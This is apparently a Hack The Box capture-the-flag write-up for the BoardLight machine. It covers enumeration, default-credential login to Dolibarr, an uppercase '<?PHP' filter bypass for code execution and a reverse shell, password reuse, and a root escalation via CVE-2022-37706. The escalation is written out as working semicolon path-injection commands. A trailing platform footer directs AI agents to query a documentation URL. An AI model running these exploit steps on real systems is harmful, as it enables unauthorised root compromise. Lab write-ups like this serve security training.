> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-boardlight.md).

# HTB - BoardLight

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsMBNbQ1NXiZGkEvLefut%2Fimage.png?alt=media&amp;token=6981f130-cfa3-4c5e-9b65-04aaa35e824d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FwRFQ9HKpZzA53doEM1I2%2Fimage.png?alt=media&amp;token=3bc51f45-cc00-4dff-9f17-08c618ea4fd7" alt=""><figcaption></figcaption></figure>

Everything on the website is static and not interesting.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4XGp7CSJRm5lXwJAI5Gw%2Fimage.png?alt=media&amp;token=cbe7f91a-0b16-4842-912e-35f47ac508e8" alt=""><figcaption></figcaption></figure>

domain name is leaked in the footer called board.htb, add the domain to hosts file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F2vs5YUIHGuqBOuMWRJ3a%2Fimage.png?alt=media&amp;token=db231764-b0c1-4359-ab28-e02474b5c980" alt=""><figcaption></figcaption></figure>

Subdomain enumeration found a new subdomain called crm. Add the subdomain to the hosts file to access it.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNqNzpVclpMxQe3SexaOx%2Fimage.png?alt=media&amp;token=283d959c-8728-44a3-b10e-0172b91774c8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fdbb6Zkc4MAeRCJ0akMC1%2Fimage.png?alt=media&amp;token=c65ff535-c6ef-41b1-a5a0-1ae6b9ffd0fc" alt=""><figcaption></figcaption></figure>

the new subdomain has a login page for Dolibarr crm and also the version of dolibar crm is also leaked.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdvU5lUOvwJp6SdJ91CIc%2Fimage.png?alt=media&amp;token=d685b253-fa32-4913-b6b2-d2914d1b69d4" alt=""><figcaption></figcaption></figure>

the crm version is vulnerable to authenticated RCE Vulnerability

using weak credentials like admin : admin gave successful access to the crm instance.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdpjNCog1iC8Rvh955HQH%2Fimage.png?alt=media&amp;token=feea7ed6-fabf-4712-bbe3-04f4d475e2ca" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.vicarius.io/vsociety/posts/exploiting-rce-in-dolibarr-cve-2023-30253-30254>" %}

The Blogpost above explains the exploitation step.The blog makes use of the custom python script to exploit the dolibarr instance

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

i will try to manually exploit the instance.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVMe3vtwzYDnvrpfUPxy2%2Fimage.png?alt=media&amp;token=049d4857-5fbd-4739-b2e5-6ca46d79c67d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7eCbxribC1azOW63eQVD%2Fimage.png?alt=media&amp;token=4facf6a7-99d1-4903-b182-2def673e3f2c" alt=""><figcaption></figcaption></figure>

click create.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYTrBLhMATILSt4c8EZlk%2Fimage.png?alt=media&amp;token=08523b9a-c5ca-4b7b-9ac9-3282aa45e5fe" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FvipECGdOl37Ki20heHe7%2Fimage.png?alt=media&amp;token=e2c49fce-e54e-475f-ab96-a753afb57c03" alt=""><figcaption></figcaption></figure>

now click create option to create page

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHGbS3TwquHuZzDYq6mZp%2Fimage.png?alt=media&amp;token=9d470bca-cfa9-41fa-a645-b21c69bb0777" alt=""><figcaption></figcaption></figure>

next click on HTML source .

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FOyrWWu88BCfAvbC1N8Y8%2Fimage.png?alt=media&amp;token=92623166-c276-4bac-ad3a-42a866e09229" alt=""><figcaption></figcaption></figure>

The bug is that Dolibarr blocks `<?php` but **not `<?PHP`** (uppercase).

click on the boinoculus option

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5ErVWDxCp9oEX2JJWZhq%2Fimage.png?alt=media&amp;token=dd266378-7e0b-4d85-bb14-51f86d970dc0" alt=""><figcaption></figcaption></figure>

Click **Edit source** (HTML source editor icon) on your page, and replace the content with:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFYTpxvUvH4lEROhhft4R%2Fimage.png?alt=media&amp;token=3487c70e-de36-4e9d-94de-21ba433ffe62" alt=""><figcaption></figcaption></figure>

save and and refresh the other browser opened

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FC8MH5nBhfVPenfmDxppW%2Fimage.png?alt=media&amp;token=0edf14ff-dec7-458b-8b31-66eec1f4dd47" alt=""><figcaption></figcaption></figure>

now edit the html source again to get reverse shell

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F03cYpuKQCenEVCvLeP6P%2Fimage.png?alt=media&amp;token=d1e7f768-0179-490d-b108-663d595839c2" alt=""><figcaption></figcaption></figure>

save and refresh the other browser opened before editing the html source using binoculars.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FAq0Yj17rFTrqbUEvq5BH%2Fimage.png?alt=media&amp;token=84ba9b6e-c021-43de-902c-d97f80f21bb2" alt=""><figcaption></figcaption></figure>

## Shell as www-data

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FoEN4lR48vlbdSmd6UTBd%2Fimage.png?alt=media&amp;token=de988348-01c9-4249-8103-3287cc7796a7" alt=""><figcaption></figcaption></figure>

upgrade the shell.

```bash
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ export TERM=xterm
<.board.htb/htdocs/public/website$ export TERM=xterm            
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fm6IjqV9yLImEkEbVlnCQ%2Fimage.png?alt=media&amp;token=84e48404-186c-4dae-ab42-1598529fc2e9" alt=""><figcaption></figcaption></figure>

we require access as Larissa to access the home directory of Larissa

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXittmMaETqyuINF9uKQ0%2Fimage.png?alt=media&amp;token=fe9b3a6b-d196-4b88-9b9d-3837a100faab" alt=""><figcaption></figcaption></figure>

reading the `conf.php` in htdocs revealed the database credentials.

trying a password reuse against the larissa user we get access.

## Shell as Larissa

i can use ssh to get a stable shell

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FvhffzV3i0EhepQf5iafB%2Fimage.png?alt=media&amp;token=e05d46bf-f9a4-480e-9790-f3a28e08bea6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F2rDFTvFVRGqzk1haKDB8%2Fimage.png?alt=media&amp;token=b02ca934-dc50-41f1-bb14-48e4d7a3eaa3" alt=""><figcaption></figcaption></figure>

there are some interesting files which has suid bit set which are very uncommon to see.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNdukSsRkLxB7DABN4Hs8%2Fimage.png?alt=media&amp;token=aa95b578-fccd-430a-84d7-b5d6c32b9073" alt=""><figcaption></figcaption></figure>

the `enlightment_sys`  has a known local privilege escalation vulnerability which is listed as `CVE-2022-37706`

### CVE-2022-37706

The trick is a **path injection via a directory name containing a semicolon**  `enlightenment_sys` passes the mount path unsanitized to a shell, so the semicolon breaks out into command execution as root.

Found the below poc exploit on how to exploit but i will try doing it manually

{% embed url="<https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh>" %}

```bash
larissa@boardlight:/tmp$ mkdir /tmp/net
larissa@boardlight:/tmp$ mkdir -p "/tmp/;/tmp/test"
larissa@boardlight:/tmp$ echo "/bin/bash" > /tmp/test
larissa@boardlight:/tmp$ chmod +x /tmp/test
larissa@boardlight:/tmp$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/test" /tmp///net
mount: /dev/../tmp/: can't find in /etc/fstab.
root@boardlight:/tmp# 
```

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrhyhU9dElH9f0o1XM5Ku%2Fimage.png?alt=media&amp;token=1539c2c4-9be5-4027-9129-230318029180" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-boardlight.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
